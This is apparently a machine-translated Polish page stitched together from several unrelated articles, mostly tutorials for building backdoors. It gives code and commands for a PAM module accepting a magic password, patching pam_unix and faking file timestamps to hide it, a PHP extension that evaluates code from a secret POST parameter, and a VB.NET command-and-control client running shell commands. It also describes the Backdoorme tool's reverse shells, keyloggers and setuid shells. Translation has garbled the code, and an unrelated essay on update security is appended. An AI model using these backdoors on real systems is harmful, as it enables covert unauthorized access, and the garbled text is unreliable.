Menu
Jest wolny
rejestracja
Dom  /  Rada/ Pisanie backdoora. Uniwersalne narzędzie do instalowania backdoorów: co jest nie tak z aktualizacjami systemu

Piszemy backdoora. Uniwersalne narzędzie do instalowania backdoorów: co jest nie tak z aktualizacjami systemu

Istnieje wiele sposobów na zdobycie przyczółka na zhakowanej maszynie. Od najbardziej powszechnych i łatwych do wykrycia (dodaj siebie do bazy użytkowników) po złożone moduły jądra, które implementują odwrotną powłokę do zdalnej maszyny. Ale wśród nich jest bardzo łatwa do wdrożenia i dość tajemnicza metoda, o której zaskakująco niewiele osób wie. Jest to modyfikacja modułów systemu uwierzytelniania PAM, z którego korzystają wszystkie nowoczesne systemy UNIX.

Co to jest PAM

Pluggable Authentication Modules (PAM) to zestaw interfejsów API wymaganych do implementacji mechanizmów uwierzytelniania w różnych aplikacjach.

Przed pojawieniem się PAM, aby wdrożyć uwierzytelnianie, powiedzmy za pomocą karty klucza, programiści musieli dodać kod wsparcia dla tych samych kart klucza do każdego elementu systemu odpowiedzialnego za uwierzytelnianie użytkownika. Oznacza to, że konieczne było dodanie i przebudowanie narzędzia do logowania, sshd, a także dowolnego innego oprogramowania, do którego planowano dodać taką funkcjonalność.

Wraz z nadejściem PAM sprawy stały się znacznie prostsze. Teraz, aby dodać do systemu własny, unikalny, samodzielnie napisany protokół uwierzytelniania, wystarczy zaimplementować go w ramach jednego modułu PAM. Wszystkie narzędzia i aplikacje, które mogą współpracować z PAM, podniosą go i użyją do uwierzytelnienia użytkownika.

W praktyce wygląda to tak: narzędzie logowania uzyskuje dostęp do PAM, który wykonuje wszystkie niezbędne sprawdzenia za pomocą modułów określonych w pliku konfiguracyjnym i zwraca wynik z powrotem do narzędzia logowania. Wygodne, prawda? Takie podejście zawiera jednak możliwości, które możemy wykorzystać do zakotwiczenia w systemie.

Warto zrobić małe zastrzeżenie. Istnieją trzy główne implementacje PAM:

  • Linux-PAM to główna implementacja PAM w dowolnym systemie Linux;
  • OpenPAM - używany w systemach BSD i macOS;
  • JPam to implementacja PAM dla aplikacji Java.

Nie będziemy skupiać się na żadnej konkretnej realizacji. Podstawowa funkcjonalność jest wszędzie taka sama.

Aspekty przypinania w * nix przy użyciu PAM

W katalogu znajdziesz ustawienia PAM dla każdej aplikacji /etc/pam.d(Linux) lub /etc/pam.conf. Przykładowy plik konfiguracyjny narzędzia logowania w systemie macOS:

auth opcjonalnie pam_krb5 .więc użyj_kcminit

auth opcjonalnie pam_ntlm .so try_first_pass

auth opcjonalnie pam_mount .so try_first_pass

wymagane uwierzytelnienie pam_opendirectory .so try_first_pass

wymagane konto pam_nologin .so

wymagane konto pam_opendirectory .so

wymagane hasło pam_opendirectory .so

wymagana sesja pam_launchd .so

wymagana sesja pam_uwtmp .so

sesja opcjonalna pam_mount .so

Zastanówmy się, jaki rodzaj magii się tutaj dzieje.

Plik konfiguracyjny opisuje zasady weryfikacji, których należy przestrzegać, aby pomyślnie uwierzytelnić użytkownika lub wykonać inne czynności (zmiana hasła, przygotowanie środowiska użytkownika). Każdy wiersz pliku konfiguracyjnego zawiera jedną regułę. Kontrole wykonywane są linia po linii.

Od lewej do prawej: typ modułu, flaga_kontroli, nazwa modułu. Interesuje nas przede wszystkim rodzaj modułu auth, moduły te odpowiadają za uwierzytelnianie. Control_flag jest właściwością modułu. Może przyjmować następujące wartości:

  • requisite (wymagane) — Jeśli moduł zwraca pozytywną odpowiedź, wykonywana jest pozostała część łańcucha i żądanie jest honorowane. Jeśli moduł zwróci negatywną odpowiedź, żądanie jest natychmiast odrzucane i żadne inne kontrole nie są wykonywane;
  • wymagane — podobnie jak wymagane: jeśli odpowiedź brzmi „tak”, wykonywana jest reszta łańcucha kontroli. Jedyna różnica polega na tym, że w przypadku negatywnej odpowiedzi łańcuch kontroli jest nadal wykonywany, ale żądanie jest odrzucane;
  • wystarczający — spełnia żądanie, jeśli żadna z poprzednich kontroli w łańcuchu nie zadziałała negatywnie. Jeśli moduł działał negatywnie, wynik jest ignorowany, a łańcuch kontroli jest dalej przetwarzany;
  • opcjonalny — moduł jest przetwarzany, ale wynik jest ignorowany.

Już na tym etapie zapewne zorientowałeś się, że dokonując drobnych zmian w pliku konfiguracyjnym, możemy zapewnić udane logowanie do systemu dowolnym hasłem (wystarczy zaznaczyć wszystkie moduły auth jako opcjonalne). Ale to rozwiązanie będzie działać, dopóki legalny użytkownik lub administrator nie zauważy, że pomyślnie loguje się do systemu, nawet z niewłaściwym hasłem.

Pisanie własnego modułu backdoora

PAM pozwala nam na podłączenie własnych modułów uwierzytelniających. Dlatego możemy stworzyć moduł z „magicznym” hasłem i zapewnić, że system akceptuje zarówno standardowe hasła użytkownika, jak i nasze własne. Jeśli wprowadzimy nieprawidłowe hasło, zobaczymy dość oczekiwany błąd uwierzytelniania. Niezła opcja.

Oto kod (nie zapomnij zastąpić magicznego hasła hasłem „magicznym”):

#włączać

#włączać

#włączać

#włączać

#włączać

#włączać

#define MYPASSWD "magiczne hasło"

PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh, int flags, int argc, const char * * argv) (

powrót PAM_SUCCESS;

PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh, int flags, int argc, const char * * argv) (

powrót PAM_SUCCESS;

PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh, int flags, int argc, const char * * argv) (

znak * hasło = NULL;

pam_get_authtok (pamh, PAM_AUTHTOK, (const char * *) i hasło, NULL);

if (! strncmp (hasło, MYPASSWD, strlen (MYPASSWD)))

powrót PAM_SUCCESS;

powrót - 1;

Zbudujmy moduł:

$ sudo apt - pobierz zainstaluj libpam0g - dev gcc

$ gcc - fPIC - c pam_backdoor .c

$ ld - x - shared - o pam_backdoor .so pam_backdoor .o

I umieść go w katalogu z innymi modułami:

$ sudo chown root: root pam_backdoor .so

$ sudo cp pam_backdoor .so / lib / x86_64 - linux - gnu / security /

Zauważ, że sposób / lib / x86_64-linux-gnu / bezpieczeństwo / jest specyficzny dla Debiana / Ubuntu. W Fedorze, Red Hat i CentOS moduły znajdują się w katalogu / lib64 / bezpieczeństwo / a na Arch Linux w katalogu / lib / bezpieczeństwo /.

Teraz pozostaje tylko skonfigurować PAM w taki sposób, aby walidacja Twojego modułu była wystarczająca do pomyślnego uwierzytelnienia. Na przykład konfiguracja su ( /etc/pam.d/su):

W niektórych systemach Linux ustawienia uwierzytelniania można umieścić w kilku plikach: common-auth, common-password, common-session, a następnie połączyć z plikami konfiguracyjnymi określonych narzędzi przez @include. Ten punkt należy wziąć pod uwagę.

Po dokonaniu ustawień w konfiguracji, narzędzie su uruchomi Cię przy użyciu hasła określonego w module. Tę samą sztuczkę można wykonać za pomocą narzędzia logowania (logowanie do konsoli) i sshd do zdalnego logowania.

Osadzanie backdoora w istniejącym module

Podczas edytowania konfiguracji PAM mogłeś zauważyć moduł pam_unix.so. Ten moduł jest odpowiedzialny za uwierzytelnianie użytkownika przy użyciu standardowej bazy haseł UNIX / etc / passwd... Jest używany przez wiele narzędzi, w tym su, login, sshd i inne programy (takie jak SecureFTPd).

Ponieważ PAM jest nadal oprogramowaniem typu open source i mamy dostęp do kodu źródłowego zarówno samego demona, jak i jego standardowych komponentów, możemy osadzić nasz backdoor bezpośrednio w tym module.

Aby dokonać niezbędnych zmian, pobierz źródła PAM:

$ http://www .linux-pam.org/biblioteka/Linux-PAM-1.1.8.tar.gz

$ tar - xzf inux - PAM - 1.1.8.tar.gz

Otwieranie pliku Linux-PAM-1.1.8 / moduły / pam_unix / pam_unix_auth.c i poszukuje następujących linii:

Odbieramy i wymieniamy oryginalny moduł na własny:

$. / konfiguruj

$ zrobić

$ sudo cp Linux - PAM - 1.1.8 / moduły / pam_unix / .libs / pam_unix .so / lib / x86_64 - linux - gnu / security /

Aby administrator nie zauważył zamiany, zmieniamy czas utworzenia pliku tak, aby pokrywał się z czasem tworzenia innych modułów.

Dzisiaj porozmawiamy o napisaniu backdoora PHP jako rozszerzenia. Zazwyczaj większość crackerów zostawia fragment kodu w niestandardowych skryptach. Oczywiście takie rzeczy można łatwo znaleźć dzięki. Korzyści z rozszerzenia są oczywiste:

  • trudne do znalezienia
  • omiń funkcje_wyłączenia
  • możliwość kontroli całego kodu
  • dostęp do wykonania kodu przez tajny parametr

Ale w tym przypadku były pewne wady, potrzebna jest możliwość edycji pliku konfiguracyjnego php.

Jako przykład napiszę pod Windowsem. Do napisania rozszerzenia użyłem programu Visual Studio 2012 Express Edition. Będziesz także potrzebował źródeł wymaganej wersji PHP i gotowych bibliotek (możesz budować z tych samych źródeł). Dla uproszczenia pobierz również źródła.

Rozpakuj skompilowane PHP do C:\php, a źródła do C:\php-src.

Następnie musisz wprowadzić kilka ustawień VS.

1) Dodaj definicje preprocesora:
ZEND_DEBUG = 0
ZTS = 1
ZEND_WIN32
PHP_WIN32

2) Dodaj katalogi do podłączenia źródeł: C:\php-src\main;C:\php-src\Zend;C:\php-src\TSRM;C:\php-src\regex;C:\php-src

3) Dodaj dodatkowy katalog za pomocą php5ts.lib ( C: \ php \ dev)


4) Dodaj połączenie biblioteki php5ts.lib.


5) Określ ścieżkę do zebranego pliku.


Po skonfigurowaniu parametrów studia do rozwijania rozszerzenia (o czym możesz przeczytać więcej), utwórzmy nowy projekt backdoora typu „Win32 Console Application”.


Wybierz typ: „Biblioteka DLL”

Następnie usuń niepotrzebne pliki z projektu. Należy tylko zostawić backdoor.cpp, stdafx.cpp oraz stdafx.h.
Do pliku nagłówków stdafx.h wpisz następujący kod:

#pragma Once #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif

Przejdźmy teraz bezpośrednio do kodu rozszerzenia. Usuńmy wszystkie linie i dodajmy połączenia niezbędnych plików.

#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"

Jeśli ustawienia studia są prawidłowe, ostrzeżenia znikną. Podczas inicjowania modułu występuje kilka zdarzeń, z których każde występuje w określonych warunkach. Musimy wykonać nasz kod podczas wykonywania żądania. Aby to zrobić, musimy zainicjować potrzebną funkcją, wybrałem "ukryj" jako nazwę.

PHP_RINIT_FUNCTION (ukryj);

Następnie możesz przystąpić do inicjalizacji modułu.

Zend_module_entry hideme_ext_module_entry = (STANDARD_MODULE_HEADER, "proste tylne drzwi", NULL, NULL, NULL, PHP_RINIT (ukryj), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES); ZEND_GET_MODULE (ukryj_ext);

Jak już pisałem, kod musimy wykonać tylko w momencie żądania, więc uruchomienie przy ładowaniu i rozładowywaniu modułu jest zastępowane wartością NULL. Teraz możesz przejść do treści funkcji hideme.

PHP_RINIT_FUNCTION (hideme) (char * method = "_POST"; // tablica superglobalna, z której pobieramy parametr i wartość char * secret_string = "secret_string"; // parametr, który będzie zawierał zły kod zval ** arr; char * kod; if (zend_hash_find (& EG (symbol_table), metoda, strlen (metoda) + 1, (nieważne **) & arr)! = FAILURE) (HashTable * ht = Z_ARRVAL_P (* arr); zval ** val; if (zend_hash_find (ht , secret_string, strlen (secret_string) + 1, (nieważne **) & val)! = FAILURE) (// wyszukaj wymagany parametr w tablicy hash code = Z_STRVAL_PP (val); // wartość parametru zend_eval_string (kod, NULL, (znak *) "" TSRMLS_CC; // wykonanie kodu)) return SUCCESS;)

Powinno to jasno wynikać z komentarzy. Początkowo ustalamy parametry metoda oraz tajny_ciąg... Następnie przechodzimy przez wybraną tablicę i szukamy parametru z odpowiednim kluczem, jeśli taki istnieje, pobieramy z niego wartość i wykonujemy kod przez zend_eval_string.

Po złożeniu otrzymujemy bibliotekę, którą można wykorzystać jako rozszerzenie.

Demonstracja na GNU Linux

Demo w systemie Windows:

Witam wszystkich) Jak już zauważyliście, dzisiaj powiem wam jak napisać własnego backdoora "w dowolnym języku" (jeśli umiesz pisać programy i masz wyobraźnię).

Zacznijmy więc od tego, że najpierw musimy stworzyć powiązanie między adminem a klientem. Do tego używamy PHP i tylko 5 linii kodu)

if ($ _GET ["cmd"]! = "cmd_clear") ($ cmd = fopen ("cmd.txt", "w +")); // Utwórz pusty plik, jeśli taki istnieje, wyczyść go. fwrite ( $ cmd, $ _GET ["cmd"]);// wciśnij co jest w parametrze "cmd" i jak pamiętamy było "msg (HelloWorld!)" Fclose ($ cmd);// zamknij plik za nami ) else ($ cmd = fopen ("cmd.txt", "w"); // Utwórz nowy plik (tzn. wyczyść nasz cmd.txt) fclose ($ cmd); // zamknij plik za nami)


Znalazłem ten kod gdzieś w Internecie.
Ten kod pozostawi polecenia dla naszego backdoora)

Zejdźmy więc do panelu admina, najpierw szkicujemy na formularzu przycisk i pole tekstowe oraz przeglądarkę internetową, którą umieszczam na drugim formularzu, żeby mi nie przeszkadzał)

Przejdźmy teraz do kodu

Wskazujemy naszą witrynę, aby ładowała się podczas uruchamiania programu) i deklarujemy ją jako zmienną globalną

Public www As String Private Sub Form1_Load (ByVal sender As System.Object, ByVal e As System.EventArgs) Obsługuje MyBase.Load www = "http: // localhost /" End Sub

Ożywmy przycisk, w którym mówimy, aby wysłać żądanie GET do naszego panelu administracyjnego na stronie, po cmd = nasz zespół) tag msg będzie następnie potrzebny do przetworzenia przez klienta.

Private Sub Button1_Click (ByVal sender jako System.Object, ByVal e As System.EventArgs) Obsługuje Button1.Click Form2.WebBrowser1.Navigate (www & "rat / admin.php? Cmd =< msg>"& Pole tekstowe1.Tekst &"< /msg>") TextBox1.Text =" "Koniec napisu"

Nasz panel administracyjny jest gotowy)

Przejdźmy do klienta) na formularzu nic nie wrzucamy poza timerem)

Zapiszmy timer jakim nasz program będzie sprawdzał stronę (plik cmd.txt) i oczywiście timer startuje razem z programem)) Tak jak w panelu administracyjnym będziemy deklarować zmienne globalne, teraz są ich dwie , a także musimy połączyć dwie biblioteki

Importuje System.Text Importuje System.IO Public WC jako nowy System.Net.WebClient Public www As String Private Sub Form1_Load (ByVal sender As System.Object, ByVal e As System.EventArgs) Obsługuje MyBase.Load www = "http: // localhost / "Timer1.Enabled = True Timer1.Interval = 5000 End Sub

Dla wygody zrobiłem sztuczne opóźnienie

Cóż, teraz kod samego timera, czyli co ma być wykonane) Najpierw przeanalizuj nasze dane) w tym celu określiliśmy tag msg, no cóż, a następnie poleceniem Shell uruchamiamy wiersz poleceń z określonymi poleceniami)

Private Sub Timer1_Tick (ByVal sender As System.Object, ByVal e As System.EventArgs) Obsługuje Timer1.Tick Dim R () As String = ("< msg>") Dim L () As String = ("< /msg>") Dim myHttpWebRequest As Net.HttpWebRequest = Net.HttpWebRequest.Create (www &" rat / cmd.txt ") Dim myHttpWebResponse As Net.HttpWebResponse = myHttpWebRequest.GetResponse () .Text.Encoding.GetEncoding (1251) Dim Str As String = myStreamReader.ReadToEnd () If InStr (Str, R (0)) 0 Then Dim Tmp As String = Str.Split (R, StringSplitOptions.None) (1) Dim Res As String = Tmp.Split (L, StringSplitOptions. Brak) (0) WC.DownloadString (www & "rat / admin.php? Cmd = clear_cmd") Czekaj (2) Powłoka ("cmd.exe" + Res) Else End If End Sub


PS jeśli jesteś zainteresowany tym artykułem, to następnym razem zrobię artykuł o tym, jak ukryć działania naszego klienta.

Backdoorme - narzędzie do automatycznego tworzenia backdoorów

Backdoorme to potężne narzędzie, które może tworzyć wiele backdoorów na maszynach z systemem Unix. Backdoorme używa znanego interfejsu metasploit z niesamowitą rozszerzalnością. Backdoorme opiera się na posiadaniu istniejącego połączenia SSH ofiary lub poświadczeń, przez które może przejść i umieścić dowolną lukę. Proszę używać Backdoorme z otwartym pozwoleniem.

Ukryty przed gośćmi


Backdoorme jest dostarczany od razu po wyjęciu z pudełka z wieloma wbudowanymi tylnymi drzwiami, modułami i modułami pomocniczymi. Backdoory to specyficzne komponenty do budowania i wdrażania wymaganego backdoora, takiego jak backdoor netcat lub backdoor msfvenom. Moduły można zastosować do dowolnych tylnych drzwi i są używane do zwiększania mocy tylnych drzwi, ukrywania ich lub szybszego wyłączania. Subs to przydatne operacje, które można wykonać, aby pomóc w utrzymaniu trwałości.

Trochę więcej o backdoorach: Aby uruchomić backdoorme, upewnij się, że masz wymagane zależności.

$ python zależności.py

Uruchomienie backdoora:

$ python master.py

Backdoory

Aby użyć backdoora, wystarczy uruchomić słowo kluczowe „use”.

>> użyj powłoki / metasploit + Używając bieżącego celu 1. + Używając backdoora Metasploit ... (msf) >>

Stamtąd możesz ustawić opcje pasujące do backdoora. Uruchom „pokaż opcje” lub „pomoc”, aby wyświetlić listę opcji, które można skonfigurować.

Podobnie jak w przypadku metasploita, tylne drzwi są podzielone na kategorie.

  • Pomocniczy
    • keylogger- Dodaje keylogger do systemu i udostępnia opcję odesłania wyników pocztą;
    • prostyhttp- Instaluje serwer Pythona SimpleHTTP na kliencie.
    • użytkownik- Dodaje nowego użytkownika do celu.
    • sieć- Instaluje serwer Apache na kliencie.
  • Eskalacja (kategoria rozszerzenia)
    • setuid- Backdoor SetUID działa poprzez ustawienie bitu setuid w pliku wykonywalnym, zakładając, że użytkownik ma uprawnienia administratora. Tak więc, gdy ten plik wykonywalny zostanie później uruchomiony przez użytkownika, który nie ma uprawnień administratora, dany plik jest wykonywany z uprawnieniami administratora. Domyślnie ten backdoor przełącza bit setuid na nano, dzięki czemu w przypadku utraty dostępu roota w jakikolwiek sposób atakujący może ponownie zalogować się przez SSH jako użytkownik nieuprzywilejowany i nadal mieć możliwość uruchomienia nano (lub dowolnego wybranego pliku binarnego) jako root. („nano / etc / cień”). Pamiętaj, że aby wdrożyć to rozszerzenie backdoora, na samym początku wymagany jest dostęp root.
    • powłoka- backdoor powłoki jest uprzywilejowanym rozszerzeniem backdoora, podobnym do jego rodzeństwa z rozszerzeniem SetUID (ale bardziej szczegółowym). Powiela powłokę bash do ukrytego pliku binarnego i ustawia bit SUID. Pamiętaj, że dostęp do konta root jest początkowo wymagany do wdrożenia tego rozszerzenia backdoora. Aby użyć tego backdoora, jeśli SSH działa jako nieuprzywilejowany użytkownik, po prostu uruchom ".bash -p" i będziesz mieć uprawnienia administratora.
  • Powłoka (kategoria powłoki)
    • grzmotnąć- używa prostego skryptu basha, aby połączyć się z określoną kombinacją adresu IP i portu i przesłać wynik do bash.
    • bash2- nieco inny (i bezpieczniejszy) backdoor bash opisany powyżej, który nie monituje klienta o hasło.
    • metasplot- używa msfvenom do wygenerowania pliku binarnego reverse_tcp w systemie docelowym, a następnie uruchamia plik binarny, aby połączyć się z opakowaniem meterpretera.
    • netcat- używa netcat do przekazywania standardowych danych wejściowych i wyjściowych do /bin / sh, dając użytkownikowi interaktywną powłokę.
    • netcat_traditional- używa netcat-traditional "s -e" do tworzenia odwróconej powłoki.
    • perl To skrypt napisany w perlu, który przekierowuje wynik do bash i zmienia nazwę procesu, aby wyglądał mniej widoczny.
    • php- uruchamia backdoora php, który wysyła wynik do bash. Nie instaluje automatycznie serwera WWW, ale zamiast tego używa modułu WWW.
    • szczeniak- używa backdoora n1nj4sec Pupy znajdującego się na

      Ukryty przed gośćmi

      .
    • pyton- używa krótkiego skryptu Pythona do wykonywania poleceń i wysyłania wyników z powrotem do użytkownika.
    • sieć- wysyła serwer WWW do celu, następnie pobiera backdoor msfvenom php reverse_tcp i łączy się z hostem. Mimo że nadal jest to backdoor php, nie jest to to samo, co backdoor php opisany powyżej.
  • Dostęp
    • usuń_ssh- usuwa serwer ssh na kliencie. Jest bardzo wygodny w użyciu pod koniec sesji backdoora, aby usunąć wszelkie ślady.
    • ssh_key- tworzy klucz RSA i kopiuje do celu w celu połączenia bez hasła ssh.
    • ssh_port- Dodaje nowy port dla ssh.
  • Okna (kategoria Windows)
    • okna- Używa msfvenom do tworzenia backdoora dla systemu Windows.
Moduły

Każdy backdoor ma możliwość zdobycia dodatkowych modułów, które są wykorzystywane do zwiększenia mocy backdoora. Aby dodać moduł, wystarczy użyć słowa kluczowego „dodaj”.

(msf) >> dodaj truciznę + dodano moduł trucizny

Każdy moduł ma dodatkowe opcje, które można konfigurować, a jeśli "pomoc" zostanie ponownie uruchomiona, możesz zobaczyć lub ustawić dodatkowe opcje.

Obecnie dostępne moduły obejmują:

  • Zatruć
    • Wyprodukuj komputer docelowy zatruwania bin — Kompiluje plik wykonywalny, aby wywołać narzędzie systemowe i istniejący backdoor.
    • Na przykład, jeśli moduł zatruwania bin jest uruchamiany z "ls", skompiluje i przeniesie plik binarny o nazwie "ls", który będzie uruchamiał zarówno istniejący backdoor, jak i oryginalny "ls", uniemożliwiając w ten sposób użytkownikowi częstsze uruchamianie backdoora .
  • Cron
    • Dodaje istniejące backdoora do crontab użytkownika root, aby było uruchamiane z określoną częstotliwością.
  • Sieć
    • Instaluje serwer sieciowy i hostuje stronę internetową, na której działa backdoor.
    • Po prostu wchodzi na stronę z otwartym słuchaczem i uruchamia się backdoor.
  • Użytkownik
    • Dodaje nowego użytkownika do celu.
  • Uruchomienie
    • Umożliwia tworzenie backdoorów z plikami bashrc i init.
  • Biała lista
    • Dodaje adres IP do białej listy, aby tylko ten adres IP mógł łączyć się z tylnym wejściem.
Tłumaczenie:

Na naszym blogu na Habré nie tylko opowiadamy o rozwoju naszego produktu - billingu dla operatorów telekomunikacyjnych „Hydra”, ale także publikujemy materiały o pracy z infrastrukturą i wykorzystaniu technologii.

Niemiecki dziennikarz i haker Leif Ryge napisał interesujący artykuł dla Ars Technica, że ​​nowoczesne podejście do organizowania aktualizacji oprogramowania niesie ze sobą poważne zagrożenia bezpieczeństwa informacji. Przedstawiamy Państwu główne myśli tego postu.

Tło

Jeszcze w 2014 roku Washington Post napisał, że firmy takie jak Apple i Google powinny były wymyślić coś w rodzaju tajnego klucza, za pomocą którego mogłyby uzyskać dostęp do swoich produktów i który będą przechowywać i przenosić do służb specjalnych tylko wtedy, gdy otrzymają rozwiązania prawne” .

Pozbycie się „słabych ogniw”, z których atak na każde z nich może stać się krytyczny, powinno stać się podstawowym wymogiem każdego nowego mechanizmu dystrybucji oprogramowania.